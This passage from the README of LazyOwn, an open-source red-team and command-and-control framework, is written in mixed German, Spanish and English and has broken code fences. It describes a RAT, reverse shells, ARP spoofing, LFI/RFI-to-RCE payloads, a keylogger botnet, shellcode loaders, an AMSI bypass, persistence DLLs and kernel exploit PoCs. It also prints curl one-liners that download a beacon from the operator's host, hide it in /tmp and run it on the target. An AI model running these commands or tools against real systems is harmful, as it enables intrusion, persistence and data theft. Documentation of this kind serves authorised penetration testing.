usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY
lazyownserver.py: error: the following arguments are required: --key

usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY
lazyownclient.py: error: the following arguments are required: --host, --port, --key

LazyOwn> run lazyownclient
[?] lhost and lport and rat_key must be set

LazyOwn> run lazyownserver
[?] rhost and lport and rat_key must be set

luego los comandos son:

upload /path/to/file
donwload /path/to/file
screenshot
sysinfo
fix_xauth #to fix xauth xD
lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

![image](https://assets.kitploit.com/production/public/readmes/56369/12418a4b1a619614f513a2824b0ed26b369099b463f6e4e58c6f01389c5647f5/24e93754e70d5adbfca3184e65afb178ee598f53a3375c8029e0356233a77d8c-display-v1.webp)

## Modus verwenden: Entschlüsseln Verschlüsseln

Eine Verschlüsselungsmethode, die es uns ermöglicht, Dateien sowohl zu verschlüsseln als auch zu entschlüsseln, wenn wir natürlich den Schlüssel haben.

![Captura de pantalla 2024-06-08 231900](https://assets.kitploit.com/production/public/readmes/56369/67b1d3295f0fc3ebe4d9103a458fd0683ba8d78a426fc36ebcdbe6cfd8c45c87/61ff68c807f4de0641fcc5e74f9d81403d84a8f7eea58a8401e4c6e9b360e76e-display-v1.webp)```sh
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt

## Verwendung des LazyOwn GPT One Liner CLI Assistant und Researcher

Entdecke die Revolution bei der Automatisierung von Pentesting-Aufgaben mit dem LazyOwn GPT One Liner CLI Assistant! Dieses unglaubliche Skript ist Teil der LazyOwn-Tool-Suite und wurde entwickelt, um dein Leben als Pentester effizienter und produktiver zu machen.

Hauptfunktionen:

Intelligente Automatisierung: Nutzt die Leistungsfähigkeit von Groq und fortschrittlichen natürlichen Sprachmodellen, um präzise und effiziente Befehle basierend auf deinen spezifischen Anforderungen zu generieren.
Benutzerfreundliche Oberfläche: Mit einem einfachen Prompt generiert und führt der Assistent One-Liner-Skripte aus und reduziert so drastisch den Zeit- und Arbeitsaufwand für die Erstellung komplexer Befehle.
Kontinuierliche Verbesserung: Transformiert und optimiert kontinuierlich seine Wissensbasis, um dir die besten Lösungen zu bieten und sich an jede Situation anzupassen.
Vereinfachtes Debugging: Aktiviere den Debug-Modus, um detaillierte Informationen bei jedem Schritt zu erhalten, was die Identifizierung und Behebung von Fehlern erleichtert.
Nahtlose Integration: Funktioniert mühelos in deinem Arbeitsbereich und nutzt die Leistungsfähigkeit der Groq-API, um schnelle und präzise Antworten zu liefern.
Sicherheit und Kontrolle:

Sichere Fehlerbehandlung: Erkennt und reagiert intelligent auf Ausführungsfehler und stellt sicher, dass du die volle Kontrolle über jeden generierten Befehl behältst.
Kontrollierte Ausführung: Vor der Ausführung eines Befehls wird deine Bestätigung angefordert, sodass du genau weißt, was auf deinem System ausgeführt wird.
Einfache Konfiguration:

Richte deinen API-Schlüssel in Sekunden ein und beginne, alle Vorteile des LazyOwn GPT One Liner CLI Assistant zu genießen. Ein Schnellstartleitfaden ist verfügbar, um dir bei der Konfiguration und der Maximierung des Potenzials dieses leistungsstarken Tools zu helfen.

Ideal für Pentester und Entwickler:

Optimiere deine Prozesse: Vereinfache und beschleunige die Befehlsgenerierung in deinen Sicherheitsaudits.
Kontinuierliches Lernen: Die Wissensbasis wird ständig aktualisiert und verbessert und bietet dir immer die neuesten Best Practices und Lösungen.
Mit dem LazyOwn GPT One Liner CLI Assistant veränderst du die Art und Weise, wie du arbeitest, und machst sie schneller, effizienter und sicherer. Verschwende keine Zeit mehr mit repetitiven und komplexen Aufgaben und konzentriere dich auf das, was wirklich zählt: das Entdecken und Beheben von Schwachstellen!

Schließe dich der Pentesting-Revolution mit LazyOwn an und bringe deine Produktivität auf die nächste Stufe!

[?] Verwendung: python lazygptcli.py --prompt "<your prompt>" [--debug]

[?] Optionen:

--prompt "The prompt for the programming task (required)."
--debug, -d "Enables debug mode to display debug messages."
--transform "Transforms the original knowledge base into an enhanced base using Groq."
[?] Stelle sicher, dass du deinen API-Schlüssel konfigurierst, bevor du das Skript ausführst:
export GROQ_API_KEY=<your_api_key>
[->] Besuche: https://console.groq.com/docs/quickstart (kein gesponserter Link)

Voraussetzungen:

Python 3.x
Ein gültiger Groq-API-Schlüssel
Schritte zum Erhalt des Groq-API-Schlüssels:
Besuche die Groq Console (https://console.groq.com/docs/quickstart), um dich zu registrieren und einen API-Schlüssel zu erhalten.```sh
export GROQ_API_KEY=<tu_api_key>
python3 lazygptcli.py --prompt "<tu prompt>" [--debug]

Form 2: Erweiterte Nutzung

Wenn Sie die erweiterten Funktionen des Skripts nutzen möchten, wie z. B. Request Replay oder Fuzzing, befolgen Sie diese Schritte:

Request Replay:

Um die Request-Replay-Funktionalität zu nutzen, geben Sie die Argumente wie zuvor angegeben an.
Während der Ausführung fragt das Skript, ob Sie die Anfrage wiederholen möchten. Geben Sie 'y' ein, um zu wiederholen, oder 'n', um den Repeater zu beenden.
Fuzzing:

Um die Fuzzing-Funktionalität zu nutzen, stellen Sie sicher, dass Sie eine Wortliste mit dem Argument -w oder --wordlist angeben.
Das Skript ersetzt das Wort LAZYFUZZ in der URL und anderen Daten durch die Wörter aus der bereitgestellten Wortliste.
Während der Ausführung zeigt das Skript die Ergebnisse jeder Fuzzing-Iteration an.
Dies sind die grundlegenden und erweiterten Möglichkeiten zur Verwendung des Skripts lazyburp.py. Je nach Ihren Anforderungen können Sie die Methode wählen, die am besten zu Ihrer spezifischen Situation passt.```sh
python3 lazyown_bprfuzzer.py \                                                                                                           ─╯
    --url "http://127.0.0.1:80/LAZYFUZZ" \
    --method POST \
    --headers '{"User-Agent": "LAZYFUZZ"}' \
    --params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
    --data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
    --json_data '{"key3": "LAZYFUZZ"}' \
    --proxy_port 8080 \
    -w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
    -hc 501

--url "http://127.0.0.1:80/LAZYFUZZ" \
--method POST \
--headers '{"User-Agent": "LAZYFUZZ"}' \
--params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
--data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
--json_data '{"key3": "LAZYFUZZ"}' \
--proxy_port 8080 \
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \

![image](https://assets.kitploit.com/production/public/readmes/56369/536bf1028ec5c58968040226c36296d17707cc7236e75a4245c2618835265d78/6ff4dbf1c94f750b69acf64298b86dd7982a7ccbc25d4fdaa69b980a254bd63a-display-v1.webp)
Hinweis: Um das Wörterbuch zu verwenden, führen Sie den folgenden Befehl innerhalb von /usr/share/seclists aus:```sh
now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip

![image](https://assets.kitploit.com/production/public/readmes/56369/2c92e5d852a586494d37d892de49b42e849d9602a75cb399dbfef5d2aaf95b44/4cb2b5a8fa35fca9f90ac2471b81765100aaa30b84f11795ee77e727cb3113c0-display-v1.webp)

## Verwendung des LazyReverseShell-Modus

Listen```sh
nc -nlvp 1337 #o el puerto que escojamos

![image](https://assets.kitploit.com/production/public/readmes/56369/207a550ff7c9ce047796bea119a6fd31e0f895b88a8ca98a0c2b231f6e697fd9/d03d9a1178703f93e04997e8d2b10b3a1591e14c707246e517693672653ecc56-display-v1.webp)

## Verwendung von Lazy Curl im Recon-Modus

Das Modul befindet sich im Verzeichnis modules und wird wie folgt verwendet:```sh
chmod +x lazycurl.sh

Verwendung.

GET:```sh
./lazycurl.sh --mode GET --url http://10.10.10.10

TRACE:```sh
./lazycurl.sh --mode TRACE --url http://10.10.10.10
```sh
Datei-Upload:```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt

Stellen Sie sicher, dass Sie die Parameter an Ihre Bedürfnisse anpassen und dass die von Ihnen angegebenen Werte für die Optionen in jedem Fall gültig sind.

## Verwendung des ARP-Spoofing-Modus

Das Skript bietet einen ARP-Spoofing-Angriff unter Verwendung von Scapy. In der Payload müssen Sie den lhost, den rhost und das Gerät festlegen, das Sie für die Durchführung des ARP-Spoofings verwenden werden.```sh
assign rhost 192.168.1.100
assign lhost 192.168.1.1
assign device eth0
run lazyarpspoofing

## Verwendung des Lazy Own LFI RFI 2 RCE-Modus

Der LFI RFI 2 RCE-Modus wurde entwickelt, um einige der bekannteren Payloads gegen die in payload.json angegebenen Parameter zu testen. Dies ermöglicht eine umfassende Bewertung von Local File Inclusion (LFI), Remote File Inclusion (RFI) und Remote Code Execution (RCE)-Schwachstellen im Zielsystem.

![image](https://assets.kitploit.com/production/public/readmes/56369/3bd4f818fd3a15a099e25d21604b8362e5ce76dee05d56f182a6e4817c81edd6/7ba305b87f294e6253a90746031a826f95bf3c65a850ec3aa4e8b4b90dd41208-display-v1.webp)```sh
payload
run lazylfi2rce

lazysniff ausführen
oder einfach
sniff```

### Experimental Obfuscation Using PyInstaller

This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.


```sh
./py2el.sh```

## Experimental NetBIOS Exploit

This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)


```sh
lazynetbios ausführen```

## Experimental LazyBotNet with Keylogger for Windows and Linux

This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the `payload` command, which sets all the configuration in our `payload.json`, allowing us to preload the configuration before starting the framework.


```sh
payload
run lazybotnet```

## Interactive Menus

The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.

### Clean Interruption

The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.

## License

This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.

## Acknowledgments ✌

A special thanks to [GTFOBins](https://gtfobins.github.io/) for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the `extractPorts` function in my `.zshrc` :D, thanks to deepwiki to help us with doc. ( https://deepwiki.com/grisuno/LazyOwn/ ), thanks to plaintext who does an extraordinary job of outreach and we adopted PTMultiTools it's very impresive

### Thanks to pwntomate 🍅

An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: <https://github.com/honze-net/pwntomate>

### Thanks to Sicat 🐈

An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. <https://github.com/justakazh/sicat/>

### Thanks to josefcohernandez

For identifying and reporting the Docker build failures caused by the repo.charm.sh outage and the Python version incompatibility. His report led to the fixes in `lazyown-docker/Dockerfile`.

### Thanks to EQSTLab (via yym8538)

For two critical security advisories that helped us harden the framework and fix serious vulnerabilities. Their responsible disclosure makes LazyOwn safer for the entire community.

## BlackSandBeacon — Linux BOF

**BlackSandBeacon** brings Beacon Object File (BOF) extensibility to Linux for the
first time in an open-source C2 framework. No commercial C2 (including Cobalt Strike)
offers Linux BOF support.

### What is Linux BOF?

On Windows, BOFs are position-independent PE COFF objects loaded by the beacon at
runtime, giving operators an in-memory plugin system without spawning new processes.
BlackSandBeacon ports this model to Linux:

- BOFs compile as **position-independent ELF shared objects** (`.so`) with GCC
  (`-shared -fPIC -nostartfiles`).
- The beacon loads them at runtime via `dlopen` — no disk writes after delivery,
  no new process, no shell.
- The **`datap` API** (`BeaconDataParse`, `BeaconDataInt`, `BeaconDataExtract`,
  `BeaconPrintf`, `BeaconOutput`) is source-compatible with the Windows BOF contract,
  so existing BOF authors can port by replacing Win32 calls with Linux syscalls or
  libc equivalents.
- Advanced BOFs can use **direct syscalls via inline assembly** or `io_uring` for
  kernel interaction without libc linking.

### Deployment via LazyOwn

```bash
# 1. Beacon erstellen und bereitstellen
(LazyOwn) > blacksandbeacon

# 2. An das Ziel liefern (Befehl wird auf dem Ziel ausgeführt)
curl -sk "http://{lhost}:{lport}/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

# 3. BOF-Loader erstellen und bereitstellen
(LazyOwn) > blacksandbeacon_bof

# 4. BOF-Loader an eine aktive Sitzung liefern
curl -sk "http://{lhost}:{lport}/bof_loader" -o /tmp/.bof && chmod +x /tmp/.bof && /tmp/.bof```

### Porting a Windows BOF to Linux

```c
// Win32-API-Aufrufe durch direkte Syscalls oder libc-Äquivalente ersetzen.
// Die datap-API bleibt identisch.
#include "beacon.h"

void go(char *args, int len) {
    datap parser;
    BeaconDataParse(&parser, args, len);
    char *target = BeaconDataExtract(&parser, NULL);
    // Linux: syscall(SYS_open, ...) anstelle von CreateFile verwenden
    BeaconPrintf(CALLBACK_OUTPUT, "target: %s\n", target);
}```

Compile: `gcc -shared -fPIC -nostartfiles -o mybof.so mybof.c`

### Adoption gap this closes

| Capability | Cobalt Strike | Sliver | Havoc | LazyOwn + BlackSandBeacon |
|---|---|---|---|---|
| Windows BOF | Yes | No | No | Yes (via `beacon` addon) |
| Linux BOF | **No** | **No** | **No** | **Yes** |
| ARM BOF | No | No | No | Planned (`blackzincbeacon`) |
| Open source | No | Yes | Yes | Yes |

## Related Projects

LazyOwn ships as the "all-in-one" front of a small ecosystem of focused
red-team tools. Each project below stands on its own and can be wired into
LazyOwn through `lazyaddons/*.yaml`, the C2 implant pipeline, or the MCP
`lazyown_palette --info` view (which exposes the graphify-derived `calls`
and `related` neighbours of every command).

### Lightweight beacons (C / ASM)

Drop-in replacements for the bundled Go beacon when you need a smaller
footprint or per-architecture artefacts:

- **[beacon](https://github.com/grisuno/beacon)** — minimalist Windows beacon in C with BOF support via Early Bird APC injection and NT Native API calls. Pairs with LazyOwn's malleable C2 profile. Wired in via `lazyaddons/beacon.yaml`.
- **[blacksandbeacon](https://github.com/grisuno/blacksandbeacon)** — Linux-native beacon in C with first-class **Linux BOF (Beacon Object File)** support via ELF shared-object injection and direct syscalls. BOFs are loaded at runtime through a `dlopen` runtime — the same extensibility model as Windows BOF but targeting Linux kernel internals. **No commercial C2 framework (including Cobalt Strike) offers Linux BOF support.** Wired in via `lazyaddons/blacksandbeacon.yaml`; BOF loader via `lazyaddons/blacksandbeacon_bof.yaml`.
- **[blackzincbeacon](https://github.com/grisuno/blackzincbeacon)** — ARM build of the same family, for embedded / IoT engagements.

### Lightweight C2 frameworks

Alternative C2 surfaces that speak the same beacon protocol as `lazyc2.py`
or that can serve as a teamserver back-end:

- **[BlackObsidianC2](https://github.com/grisuno/BlackObsidianC2)** — small, fast Go C2 server intended as a stripped-down companion to `lazyc2.py`.
- **[LazyOwnBT](https://github.com/grisuno/LazyOwnBT)** — Bluetooth / proximity-aware C2 PoC; useful when the engagement scope explicitly covers RF.

### AI / orchestration

Drop into LazyOwn through MCP, the `toposwarm` lazyaddon, or directly:

- **[toposwarm](https://github.com/grisuno/toposwarm)** — natural-language router on top of the LazyOwn command catalogue; ships as both a lazyaddon and a Claude Code skill.
- **[LazyOwnOpenCodeAdapter](https://github.com/grisuno/LazyOwnOpenCodeAdapter)** — bridge between LazyOwn and OpenCode-style coding agents.

### Loaders, shellcode runners and post-exploitation

Used both by humans through pwntomate `.tool` files and by the autonomous
daemon when the reactive selector recommends an in-memory technique:

- **[gomulti_loader](https://github.com/grisuno/gomulti_loader)** — multi-platform Go shellcode loader (Linux + Windows). Wired in via `lazyaddons/gomulti_loader_linux.yaml` and `gomulti_loader_windows.yaml`.
- **[win_shellcode](https://github.com/grisuno/win_shellcode)** — collection of Windows shellcode templates ready to be linked from a beacon stub.
- **[ejecutarShellcode](https://github.com/grisuno/ejecutarShellcode)** — minimal "execute-this-shellcode" loaders for quick PoCs.
- **[ShellcodeFluctuation_crosscompile](https://github.com/grisuno/ShellcodeFluctuation_crosscompile)** — cross-compilable port of the ShellcodeFluctuation memory-encryption trick.
- **[LazyLoader](https://github.com/grisuno/LazyLoader)** — generic loader scaffold designed to be extended per engagement.
- **[OverRide](https://github.com/grisuno/OverRide)** — DLL hijack / DLL search-order-override toolkit for Windows persistence.
- **[ShadowLink](https://github.com/grisuno/ShadowLink)** — link-time / symbol-rewrite tooling for Linux ELF stagers.
- **[netsh_helper_dll](https://github.com/grisuno/netsh_helper_dll)** — `netsh` helper-DLL persistence template for Windows.

### Defensive bypass / instrumentation

- **[amsi](https://github.com/grisuno/amsi)** — AMSI bypass research and PoCs; invoked from LazyOwn payloads when AV/EDR is the limiting factor.

### Exploits and CVE PoCs

LazyOwn already vendors several recent kernel-class PoCs through the addon
system (`lazyaddons/copyfail.yaml`, `lazyaddons/dirtyfrag.yaml`,
`lazyaddons/CVE-2022-22077.yaml`, `lazyaddons/CVE_2025_24071_PoC.yaml`,
`lazyaddons/ebird3.yaml`). The original repositories are listed here for
auditability and citation:

- **[CVE-2022-22077](https://github.com/grisuno/CVE-2022-22077)** — RTCore64.sys arbitrary R/W IOCTL — used by the LazyOwn BYOVD chain.
- **[copy-fail-CVE-2026-31431](https://github.com/grisuno/copy-fail-CVE-2026-31431)** — next-gen Dirty Pipe variant. Backed by the `copyfail` lazyaddon.
- **[ebird3](https://github.com/grisuno/ebird3)** — Early-Bird APC injection + NT Native API loader; produces stealthy in-memory Windows payloads.

> **Want to add yours?** Drop a `lazyaddons/<name>.yaml` describing
> `repo_url`, `install_command` and `execute_command`; LazyOwn will pick it
> up automatically and surface it through the MCP `lazyown_palette` view.

## Abstract

LazyOwn is a framework that streamlines its workflow and automates many tasks and tests through aliases and various tools, functioning like a Swiss army knife with multipurpose blades for hacking xD.

## Lazyducky_digispark

![LazyOwn](https://github.com/user-attachments/assets/b7e8c257-c0de-4033-bf4b-57ebc87dcb97)

      Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.

        This method checks if Arduino CLI and Micronucleus are installed on the system.
        If they are not available, it installs them. It then compiles a Digispark sketch
        and uploads the generated .hex file to the Digispark device.

        The method performs the following actions:
        1. Checks for the presence of Arduino CLI and installs it if not available.
        2. Configures Arduino CLI for Digispark if not already configured.
        3. Generates a reverse shell payload and prepares the sketch for Digispark.
        4. Compiles the prepared Digispark sketch using Arduino CLI.
        5. Checks for the presence of Micronucleus and installs it if not available.
        6. Uploads the compiled .hex file to the Digispark device using Micronucleus.

        Args:
            line (str): Command line input provided by the user, which may contain additional parameters.

        Returns:
            None: The function does not return any value but may modify the state of the system
                by executing commands.


## Star History

<a href="https://www.star-history.com/#grisuno/LazyOwn&Date">
 <picture>
   <source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date&theme=dark" />
   <source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date" />
   <img alt="Star History Chart" src="https://api.star-history.com/svg?repos=grisuno/LazyOwn&amp;type=Date" />
 </picture>
</a>

# Documentation by readmeneitor.py

Documentation automatically created by the script `readmeneitor.py` created for this project; maybe one day it will have its own repo, but for now, I don't see it as necessary.

## ReadMenator now have a repository

[https://github.com/grisuno/ReadMenator](https://github.com/grisuno/ReadMenator)

# Legal disclaimer:
Usage of LazyOwn RedTeam Framework for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.


---

<!-- START UTILS -->
# LazyOwn Command Reference

Auto-generated by readmeneitor.py from source docstrings and cli/command_index.json.

## Table of Contents

- [01. Reconnaissance](#01-reconnaissance) (38 commands)
- [02. Scanning & Enumeration](#02-scanning-&-enumeration) (74 commands)
- [03. Exploitation](#03-exploitation) (66 commands)
- [04. Post-Exploitation](#04-post-exploitation) (45 commands)
- [05. Persistence](#05-persistence) (33 commands)
- [06. Privilege Escalation](#06-privilege-escalation) (16 commands)
- [07. Credential Access](#07-credential-access) (31 commands)
- [08. Lateral Movement](#08-lateral-movement) (30 commands)
- [09. Data Exfiltration](#09-data-exfiltration) (35 commands)
- [10. Command & Control](#10-command-&-control) (28 commands)
- [11. Reporting](#11-reporting) (26 commands)
- [12. Miscellaneous](#12-miscellaneous) (169 commands)
- [13. Diagnostics](#13-diagnostics) (2 commands)
- [Uncategorized](#uncategorized) (135 commands)

---

## 01. Reconnaissance

### `alterx`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the 'alterx' command for subdomain enumeration on the provided self.params['domain']. If 'alterx'

### `apache_users`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Performs enumeration of users from a target system using `apache-users`.

### `binarycheck`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Performs various checks on a selected binary to gather information and protections.

### `cve`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Search for a CVE using the CIRCL API.

### `dig`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Executes the `dig` command to query DNS information.

### `dnschef`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the DNSChef tool to monitor DNS queries and intercept responses.

### `dnsenum`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Performs DNS enumeration using `dnsenum` to identify subdomains for a given domain.

### `dnsmap`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Performs DNS enumeration using `dnsmap` to discover subdomains for a specified domain.

### `dnstool_py`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the dnstool.py tool to modify Active Directory-integrated DNS records.

### `estorides_import`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Import Estorides-discovered entities into LazyOwn database and scope.

### `estorides_loop`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Run the bidirectional Estorides <-> LazyOwn feedback loop.

### `estorides_seed`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Feed LazyOwn hosts/domains into Estorides for passive OSINT discovery.

### `estorides_surface`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Show the combined active + passive attack surface.

### `finalrecon`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Runs the `finalrecon` tool to perform a web server vulnerability scan against the specified target host.

### `getcap`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Retrieve and display file capabilities on the system.

### `gospider`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Try gospider for web spidering.

### `graudit`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the graudit command to perform a static code analysis with the specified options.

### `httprobe`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the httprobe tool to probe domains for working HTTP and HTTPS servers.

### `ipinfo`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Retrieves detailed information about an IP address using the ARIN API.

### `launchpad`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

---

[Read more](https://github.com/grisuno/lazyown)